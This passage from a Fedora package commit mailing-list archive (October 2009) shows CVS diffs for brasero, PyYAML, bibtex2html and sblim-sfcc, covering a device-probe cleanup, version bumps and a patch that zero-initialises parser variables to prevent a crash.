 		if (code != BRASERO_SCSI_NOT_READY) {
-			brasero_device_handle_close (handle);
 			BRASERO_MEDIA_LOG ("Device does not respond");
+
+			brasero_device_handle_close (handle);
 			goto end;
 		}
 
 		sleep (2);
 
 		if (priv->probe_cancelled) {
-			brasero_device_handle_close (handle);
 			BRASERO_MEDIA_LOG ("Device probing cancelled");
+
+			brasero_device_handle_close (handle);
 			goto end;
 		}
 	}
diff --git a/libbrasero-media/brasero-medium.c b/libbrasero-media/brasero-medium.c
index 46762d4..88a801d 100644
--- a/libbrasero-media/brasero-medium.c
+++ b/libbrasero-media/brasero-medium.c
@@ -2978,43 +2978,49 @@ brasero_medium_probe_thread (gpointer self)
 		handle = brasero_device_handle_open (device, FALSE, &code);
 	}
 
-	if (priv->probe_cancelled)
+	if (!handle) {
+		BRASERO_MEDIA_LOG ("Open () failed: medium busy");
 		goto end;
+	}
 
-	if (handle) {
-		BRASERO_MEDIA_LOG ("Open () succeeded");
-
-		/* NOTE: if we wanted to know the status we'd need to read the 
-		 * error code variable which is currently NULL */
-		while (brasero_spc1_test_unit_ready (handle, &code) != BRASERO_SCSI_OK) {
-			if (code == BRASERO_SCSI_NO_MEDIUM) {
-				brasero_device_handle_close (handle);
-				BRASERO_MEDIA_LOG ("No medium inserted");
-				priv->info = BRASERO_MEDIUM_NONE;
-				goto end;
-			}
-			else if (code != BRASERO_SCSI_NOT_READY) {
-				brasero_device_handle_close (handle);
-				BRASERO_MEDIA_LOG ("Device does not respond");
-				goto end;
-			}
+	if (priv->probe_cancelled) {
+		brasero_device_handle_close (handle);
+		goto end;
+	}
 
-			sleep (2);
+	BRASERO_MEDIA_LOG ("Open () succeeded");
 
-			if (priv->probe_cancelled) {
-				brasero_device_handle_close (handle);
-				BRASERO_MEDIA_LOG ("Device probing cancelled");
-				goto end;
-			}
+	/* NOTE: if we wanted to know the status we'd need to read the 
+	 * error code variable which is currently NULL */
+	while (brasero_spc1_test_unit_ready (handle, &code) != BRASERO_SCSI_OK) {
+		if (code == BRASERO_SCSI_NO_MEDIUM) {
+			BRASERO_MEDIA_LOG ("No medium inserted");
+			priv->info = BRASERO_MEDIUM_NONE;
+
+			brasero_device_handle_close (handle);
+			goto end;
 		}
+		else if (code != BRASERO_SCSI_NOT_READY) {
+			BRASERO_MEDIA_LOG ("Device does not respond");
 
-		BRASERO_MEDIA_LOG ("Device ready");
+			brasero_device_handle_close (handle);
+			goto end;
+		}
 
-		brasero_medium_init_real (BRASERO_MEDIUM (self), handle);
-		brasero_device_handle_close (handle);
+		sleep (2);
+
+		if (priv->probe_cancelled) {
+			BRASERO_MEDIA_LOG ("Device probing cancelled");
+
+			brasero_device_handle_close (handle);
+			goto end;
+		}
 	}
-	else
-		BRASERO_MEDIA_LOG ("Open () failed: medium busy");
+
+	BRASERO_MEDIA_LOG ("Device ready");
+
+	brasero_medium_init_real (BRASERO_MEDIUM (self), handle);
+	brasero_device_handle_close (handle);
 
 end:
 


Index: brasero.spec
===================================================================
RCS file: /cvs/pkgs/rpms/brasero/F-12/brasero.spec,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- brasero.spec	22 Sep 2009 05:54:30 -0000	1.64
+++ brasero.spec	2 Oct 2009 13:56:34 -0000	1.65
@@ -1,6 +1,6 @@
 Name:      brasero
 Version:   2.28.0
-Release:   1%{?dist}
+Release:   2%{?dist}
 Summary:   Gnome CD/DVD burning application
 Group:     Applications/Multimedia
 License:   GPLv2+
@@ -45,6 +45,8 @@ Requires(pre):     GConf2
 Requires(post):    GConf2
 Requires(preun):   GConf2
 
+# from upstream
+Patch0: eject.patch
 
 %description
 Simple and easy to use CD/DVD burning application for the Gnome
@@ -87,7 +89,7 @@ developing brasero applications.
 
 %prep
 %setup -q
-
+%patch0 -p1 -b .eject
 
 %build
 %configure \
@@ -205,6 +207,9 @@ fi
 
 
 %changelog
+* Fri Oct  2 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-2
+- Fix ejecting after burning
+
 * Tue Sep 22 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-1
 - Update to 2.28.0
 



From jeckersb at fedoraproject.org  Fri Oct  2 14:03:31 2009
From: jeckersb at fedoraproject.org (John Eckersberg)
Date: Fri,  2 Oct 2009 14:03:31 +0000 (UTC)
Subject: rpms/PyYAML/devel .cvsignore, 1.4, 1.5 PyYAML.spec, 1.9,
	1.10 sources, 1.5, 1.6
Message-ID: <20091002140331.24CF311C00C1@cvs1.fedora.phx.redhat.com>

Author: jeckersb

Update of /cvs/pkgs/rpms/PyYAML/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13954

Modified Files:
	.cvsignore PyYAML.spec sources 
Log Message:
New upstream release 3.09


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/PyYAML/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	18 Feb 2009 19:45:37 -0000	1.4
+++ .cvsignore	2 Oct 2009 14:03:30 -0000	1.5
@@ -1,2 +1 @@
-PyYAML-3.06.tar.gz
-PyYAML-3.08.tar.gz
+PyYAML-3.09.tar.gz


Index: PyYAML.spec
===================================================================
RCS file: /cvs/pkgs/rpms/PyYAML/devel/PyYAML.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- PyYAML.spec	24 Jul 2009 16:05:06 -0000	1.9
+++ PyYAML.spec	2 Oct 2009 14:03:30 -0000	1.10
@@ -3,8 +3,8 @@
 #====================================================================#
 
 Name:           PyYAML
-Version:        3.08
-Release:        6%{?dist}
+Version:        3.09
+Release:        1%{?dist}
 Summary:        YAML parser and emitter for Python
 
 Group:          Development/Libraries
@@ -53,6 +53,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Fri Oct 02 2009 John Eckersberg <jeckersb at redhat.com> - 3.09-1
+- New upstream release 3.09
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.08-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/PyYAML/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	27 Feb 2009 02:19:28 -0000	1.5
+++ sources	2 Oct 2009 14:03:30 -0000	1.6
@@ -1 +1 @@
-a4163a2017fa57f448c66815511fa555  PyYAML-3.08.tar.gz
+f219af2361e87fdc5e85e95b84c11d87  PyYAML-3.09.tar.gz



From guidograzioli at fedoraproject.org  Fri Oct  2 14:05:59 2009
From: guidograzioli at fedoraproject.org (Guido Grazioli)
Date: Fri,  2 Oct 2009 14:05:59 +0000 (UTC)
Subject: rpms/bibtex2html/devel .cvsignore, 1.2, 1.3 bibtex2html.spec, 1.3, 
	1.4 sources, 1.2, 1.3
Message-ID: <20091002140559.ED5D511C00C1@cvs1.fedora.phx.redhat.com>

Author: guidograzioli

Update of /cvs/pkgs/rpms/bibtex2html/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14699

Modified Files:
	.cvsignore bibtex2html.spec sources 
Log Message:
Update to 1.94


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/bibtex2html/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	9 May 2009 21:28:45 -0000	1.2
+++ .cvsignore	2 Oct 2009 14:05:59 -0000	1.3
@@ -1 +1 @@
-bibtex2html-1.93.tar.gz
+bibtex2html-1.94.tar.gz


Index: bibtex2html.spec
===================================================================
RCS file: /cvs/pkgs/rpms/bibtex2html/devel/bibtex2html.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- bibtex2html.spec	22 Sep 2009 19:57:52 -0000	1.3
+++ bibtex2html.spec	2 Oct 2009 14:05:59 -0000	1.4
@@ -3,8 +3,8 @@
 %global debug_package %{nil}
 
 Name:           bibtex2html
-Version:        1.93
-Release:        5%{?dist}
+Version:        1.94
+Release:        1%{?dist}
 Summary:        Collection of tools for translating from BibTeX to HTML
 
 Group:          Applications/Publishing
@@ -67,6 +67,9 @@ rm -rf %{buildroot}
 %{_bindir}/*
 
 %changelog
+* Fri Oct 02 2009 Guido Grazioli <guido.grazioli at gmail.com> - 1.94-1
+- Upstream 1.94
+
 * Tue Sep 22 2009 Dennis Gilmore <dennis at ausil.us> - 1.93-5
 - ExcludeArch sparc64 s390 s390x
 
@@ -75,8 +78,10 @@ rm -rf %{buildroot}
 
 * Thu Mar 19 2009 Guido Grazioli <guido.grazioli at gmail.com> 1.93-3
 - added manual (no html on ppc64 until hevea available)
+
 * Wed Mar 18 2009 Guido Grazioli <guido.grazioli at gmail.com> 1.93-2
 - sanitized charset conversion
 - added smp make flags
+
 * Tue Mar 17 2009 Guido Grazioli <guido.grazioli at gmail.com> 1.93-1
 - initial packaging


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/bibtex2html/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	9 May 2009 21:28:45 -0000	1.2
+++ sources	2 Oct 2009 14:05:59 -0000	1.3
@@ -1 +1 @@
-64657c791a29b873467b20bad9705983  bibtex2html-1.93.tar.gz
+16e6656156e10c07747163a0914058b8  bibtex2html-1.94.tar.gz



From praveenp at fedoraproject.org  Fri Oct  2 14:07:41 2009
From: praveenp at fedoraproject.org (Praveen K Paladugu)
Date: Fri,  2 Oct 2009 14:07:41 +0000 (UTC)
Subject: rpms/sblim-sfcc/F-12 sblim-sfcc-2.1.0-initialization.patch, NONE,
	1.1 sblim-sfcc.spec, 1.3, 1.4
Message-ID: <20091002140741.4CC2111C00C1@cvs1.fedora.phx.redhat.com>

Author: praveenp

Update of /cvs/pkgs/rpms/sblim-sfcc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15044

Modified Files:
	sblim-sfcc.spec 
Added Files:
	sblim-sfcc-2.1.0-initialization.patch 
Log Message:
Added a patch to prevent crash during local connect because of unini-
tialized structures.


sblim-sfcc-2.1.0-initialization.patch:
 grammar.c |  110 +++++++++++++++++++++++++++++++-------------------------------
 1 file changed, 55 insertions(+), 55 deletions(-)

--- NEW FILE sblim-sfcc-2.1.0-initialization.patch ---
diff -Naur sblim-sfcc-2.1.0/backend/cimxml/grammar.c sblim-sfcc-2.1.0_fix/backend/cimxml/grammar.c
--- sblim-sfcc-2.1.0/backend/cimxml/grammar.c	2008-01-21 15:45:41.000000000 +0530
+++ sblim-sfcc-2.1.0_fix/backend/cimxml/grammar.c	2009-03-09 17:15:31.000000000 +0530
@@ -56,7 +56,7 @@
 
 static void start(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp = {0};
 	ct = localLex(stateUnion, parm);
 	if(ct == XTOK_XML) {
 		ct = localLex(stateUnion, parm);
@@ -74,7 +74,7 @@
 
 static void cim(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp = {0};
 	ct = localLex(stateUnion, parm);
 	if(ct == XTOK_CIM) {
 		message(parm, (parseUnion*)&stateUnion->xtokMessage);
@@ -92,7 +92,7 @@
 
 static void message(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp = {0};
 	ct = localLex((parseUnion*)&stateUnion->xtokMessage, parm);
 	if(ct == XTOK_MESSAGE) {
 		messageContent(parm, stateUnion);
@@ -110,7 +110,7 @@
 
 static void messageContent(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp = {0};
 	ct = localLex(stateUnion, parm);
 	if(ct == XTOK_SIMPLERSP) {
 		simpleRspContent(parm, (parseUnion*)&stateUnion->xtokSimpleRespContent);
@@ -137,7 +137,7 @@
 
 static void simpleRspContent(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp ={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokSimpleRespContent, parm);
 	if(ct == XTOK_METHODRESP) {
 		methodRespContent(parm, (parseUnion*)&stateUnion->xtokSimpleRespContent.resp);
@@ -165,7 +165,7 @@
 
 static void exportIndication(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp = {0};
 	ct = localLex(stateUnion, parm);
 	if(ct == XTOK_EXPORTINDICATION) {
 		exParamValue(parm, stateUnion);
@@ -183,7 +183,7 @@
 
 static void exParamValue(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp = {0};
 	CMPIInstance *inst;
 	ct = localLex(stateUnion, parm);
 	if(ct == XTOK_EP_INSTANCE) {
@@ -211,7 +211,7 @@
 
 static void methodRespContent(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex(&lvalp, parm);
 	if(ct == XTOK_ERROR) {
 		dontLex = 1;
@@ -246,7 +246,7 @@
 
 static void iMethodRespContent(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex(&lvalp, parm);
 	if(ct == XTOK_ERROR) {
 		dontLex = 1;
@@ -263,7 +263,7 @@
 
 static void error(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp ={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokErrorResp, parm);
 	if(ct == XTOK_ERROR) {
 		setError(parm, &stateUnion->xtokErrorResp);
@@ -281,7 +281,7 @@
 
 static void returnValue(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp ={0};
 	CMPIType  t;
 	CMPIValue val;
 	CMPIInstance *inst;
@@ -321,7 +321,7 @@
 
 static void returnValueData(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp ={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokReturnValueData, parm);
 	if(ct == XTOK_VALUE) {
 		dontLex = 1;
@@ -339,7 +339,7 @@
 
 static void paramValue(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokParamValue, parm);
 	if(ct == XTOK_PARAMVALUE) {
 		ct = localLex(&lvalp, parm);
@@ -369,7 +369,7 @@
 
 static void paramValueData(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokParamValueData, parm);
 	if(ct == XTOK_VALUE) {
 		dontLex = 1;
@@ -400,7 +400,7 @@
 
 static void iReturnValue(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex(stateUnion, parm);
 	if(ct == XTOK_IRETVALUE) {
 		iReturnValueContent(parm, stateUnion);
@@ -418,7 +418,7 @@
 
 static void iReturnValueContent(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp ={0};
 	CMPIObjectPath *op;
 	CMPIInstance *inst;
 	CMPIConstClass *cls;
@@ -524,7 +524,7 @@
 
 static void getPropertyRetValue(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	CMPIType  t;
 	CMPIValue val;
 	ct = localLex((parseUnion*)&stateUnion->xtokGetPropRetContent, parm);
@@ -550,7 +550,7 @@
 
 static void valueObjectWithPath(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokObjectWithPath, parm);
 	if(ct == XTOK_VALUEOBJECTWITHPATH) {
 		valueObjectWithPathData(parm, (parseUnion*)&stateUnion->xtokObjectWithPath.object);
@@ -569,7 +569,7 @@
 
 static void valueObjectWithPathData(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	CMPIObjectPath *op;
 	CMPIInstance *inst;
 	ct = localLex((parseUnion*)&stateUnion->xtokObjectWithPathData, parm);
@@ -597,7 +597,7 @@
 
 static void classWithPath(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokClassWithPath, parm);
 	if(ct == XTOK_CLASSPATH) {
 		dontLex = 1;
@@ -611,7 +611,7 @@
 
 static void instanceWithPath(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokInstanceWithPath, parm);
 	if(ct == XTOK_INSTANCEPATH) {
 		dontLex = 1;
@@ -625,7 +625,7 @@
 
 static void class(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokClass, parm);
 	if(ct == XTOK_CLASS) {
 		ct = localLex(&lvalp, parm);
@@ -678,7 +678,7 @@
 
 static void method(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokMethod, parm);
 	if(ct == XTOK_METHOD) {
 		ct = localLex(&lvalp, parm);
@@ -718,7 +718,7 @@
 
 static void methodData(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	if(ct == XTOK_PARAM) {
 		dontLex = 1;
 		if(ct == XTOK_PARAM) {
@@ -754,7 +754,7 @@
 
 static void parameter(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokParam, parm);
 	if(ct == XTOK_PARAM) {
 		ct = localLex(&lvalp, parm);
@@ -782,7 +782,7 @@
 
 static void parameterReference(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokParam, parm);
 	if(ct == XTOK_PARAMREF) {
 		ct = localLex(&lvalp, parm);
@@ -810,7 +810,7 @@
 
 static void parameterRefArray(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokParam, parm);
 	if(ct == XTOK_PARAMREFARRAY) {
 		ct = localLex(&lvalp, parm);
@@ -838,7 +838,7 @@
 
 static void parameterArray(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokParam, parm);
 	if(ct == XTOK_PARAMARRAY) {
 		ct = localLex(&lvalp, parm);
@@ -866,7 +866,7 @@
 
 static void objectPath(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokObjectPath, parm);
 	if(ct == XTOK_OBJECTPATH) {
 		instancePath(parm, (parseUnion*)&stateUnion->xtokObjectPath.path);
@@ -884,7 +884,7 @@
 
 static void classPath(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokClassPath, parm);
 	if(ct == XTOK_CLASSPATH) {
 		nameSpacePath(parm, (parseUnion*)&stateUnion->xtokClassPath.name);
@@ -903,7 +903,7 @@
 
 static void className(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokClassName, parm);
 	if(ct == XTOK_CLASSNAME) {
 		ct = localLex((parseUnion*)&stateUnion->xtokClassName, parm);
@@ -920,7 +920,7 @@
 
 static void instancePath(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokInstancePath, parm);
 	if(ct == XTOK_INSTANCEPATH) {
 		nameSpacePath(parm, (parseUnion*)&stateUnion->xtokInstancePath.path);
@@ -939,7 +939,7 @@
 
 static void localInstancePath(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokLocalInstancePath, parm);
 	if(ct == XTOK_LOCALINSTANCEPATH) {
 		localNameSpacePath(parm, (parseUnion*)&stateUnion->xtokLocalInstancePath.path);
@@ -958,7 +958,7 @@
 
 static void nameSpacePath(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokNameSpacePath, parm);
 	if(ct == XTOK_NAMESPACEPATH) {
 		host(parm, (parseUnion*)&stateUnion->xtokNameSpacePath.host);
@@ -977,7 +977,7 @@
 
 static void host(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokHost, parm);
 	if(ct == XTOK_HOST) {
 		ct = localLex((parseUnion*)&stateUnion->xtokHost, parm);
@@ -994,7 +994,7 @@
 
 static void localNameSpacePath(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokLocalNameSpacePath, parm);
 	if(ct == XTOK_LOCALNAMESPACEPATH) {
 		ct = localLex(&lvalp, parm);
@@ -1031,7 +1031,7 @@
 
 static void nameSpace(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokNameSpace, parm);
 	if(ct == XTOK_NAMESPACE) {
 		ct = localLex((parseUnion*)&stateUnion->xtokNameSpace, parm);
@@ -1048,7 +1048,7 @@
 
 static void valueNamedInstance(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokNamedInstance, parm);
 	if(ct == XTOK_VALUENAMEDINSTANCE) {
 		instanceName(parm, (parseUnion*)&stateUnion->xtokNamedInstance.path);
@@ -1067,7 +1067,7 @@
 
 static void instance(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokInstance, parm);
 	if(ct == XTOK_INSTANCE) {
 		ct = localLex(&lvalp, parm);
@@ -1108,7 +1108,7 @@
 
 static void genProperty(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokProperty, parm);
 	if(ct == XTOK_PROPERTY) {
 		dontLex = 1;
@@ -1132,7 +1132,7 @@
 
 static void qualifier(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokQualifier, parm);
 	if(ct == XTOK_QUALIFIER) {
 		ct = localLex(&lvalp, parm);
@@ -1159,7 +1159,7 @@
 
 static void qualifierData(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokQualifierData, parm);
 	if(ct == XTOK_VALUE) {
 		dontLex = 1;
@@ -1178,7 +1178,7 @@
 
 static void property(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokPropertyData, parm);
 	if(ct == XTOK_PROPERTY) {
 		ct = localLex(&lvalp, parm);
@@ -1214,7 +1214,7 @@
 
 static void propertyArray(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokPropertyData, parm);
 	if(ct == XTOK_PROPERTYARRAY) {
 		ct = localLex(&lvalp, parm);
@@ -1250,7 +1250,7 @@
 
 static void propertyReference(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokPropertyData, parm);
 	if(ct == XTOK_PROPERTYREFERENCE) {
 		ct = localLex(&lvalp, parm);
@@ -1286,7 +1286,7 @@
 
 static void instanceName(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokInstanceName, parm);
 	if(ct == XTOK_INSTANCENAME) {
 		ct = localLex(&lvalp, parm);
@@ -1315,7 +1315,7 @@
 
 static void keyBinding(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokKeyBinding, parm);
 	if(ct == XTOK_KEYBINDING) {
 		keyBindingContent(parm, (parseUnion*)&stateUnion->xtokKeyBinding.val);
@@ -1334,7 +1334,7 @@
 
 static void keyBindingContent(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokKeyBindingContent, parm);
 	if(ct == XTOK_KEYVALUE) {
 		dontLex = 1;
@@ -1353,7 +1353,7 @@
 
 static void keyValue(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokKeyValue, parm);
 	if(ct == XTOK_KEYVALUE) {
 		ct = localLex((parseUnion*)&stateUnion->xtokKeyValue, parm);
@@ -1370,7 +1370,7 @@
 
 static void value(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokValue, parm);
 	if(ct == XTOK_VALUE) {
 		valueData(parm, (parseUnion*)&stateUnion->xtokValue.data);
@@ -1389,7 +1389,7 @@
 
 static void valueData(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokValueData, parm);
 	if(ct == ZTOK_VALUE) {
 		stateUnion->xtokValueData.type=typeValue_charP;
@@ -1413,7 +1413,7 @@
 
 static void valueArray(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokValueArray, parm);
 	if(ct == XTOK_VALUEARRAY) {
 		ct = localLex(&lvalp, parm);
@@ -1446,7 +1446,7 @@
 
 static void valueRefArray(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokValueRefArray, parm);
 	if(ct == XTOK_VALUEREFARRAY) {
 		ct = localLex(&lvalp, parm);
@@ -1479,7 +1479,7 @@
 
 static void valueReference(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokValueReference, parm);
 	if(ct == XTOK_VALUEREFERENCE) {
 		valueReferenceData(parm, (parseUnion*)&stateUnion->xtokValueReference.data);
@@ -1498,7 +1498,7 @@
 
 static void valueReferenceData(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokValueReferenceData, parm);
 	if(ct == XTOK_INSTANCEPATH) {
 		dontLex = 1;


Index: sblim-sfcc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sblim-sfcc/F-12/sblim-sfcc.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sblim-sfcc.spec	27 Jul 2009 03:50:17 -0000	1.3
+++ sblim-sfcc.spec	2 Oct 2009 14:07:40 -0000	1.4
@@ -10,11 +10,12 @@ BuildRoot: %(mktemp -ud %{_tmppath}/%{na
 Summary: Small Footprint CIM Client Library
 Name: sblim-sfcc
 Version: 2.1.0
-Release: 2%{?dist}
+Release: 3%{?dist}
 Group: Applications/System
 License: EPL
 URL: http://www.sblim.org
 Source0: ftp://dl.sourceforge.net/pub/s/sb/sblim/%{name}-%{version}.tar.bz2
+Patch0:  sblim-sfcc-2.1.0-initialization.patch
 BuildRequires: curl-devel
 
 %Description
@@ -32,6 +33,7 @@ Small Footprint CIM Client Library Heade
 %prep
 
 %setup -q
+%patch0 -p1
 
 %build
 chmod a-x backend/cimxml/*.[ch]
@@ -67,6 +69,9 @@ rm -rf %{buildroot}
 %{_docdir}/*
 
 %changelog
+* Fri Oct  2 2009 Praveen K Paladugu <praveen_paladugu at dell.com> - 2.1.0-3
+- Added a patch to prevent crash because of uninitialized structrues.
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.1.0-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From rdieter at fedoraproject.org  Fri Oct  2 14:11:54 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri,  2 Oct 2009 14:11:54 +0000 (UTC)
Subject: rpms/amarok/F-12 amarok.spec,1.167,1.168
Message-ID: <20091002141154.22F1A11C048B@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/amarok/F-12
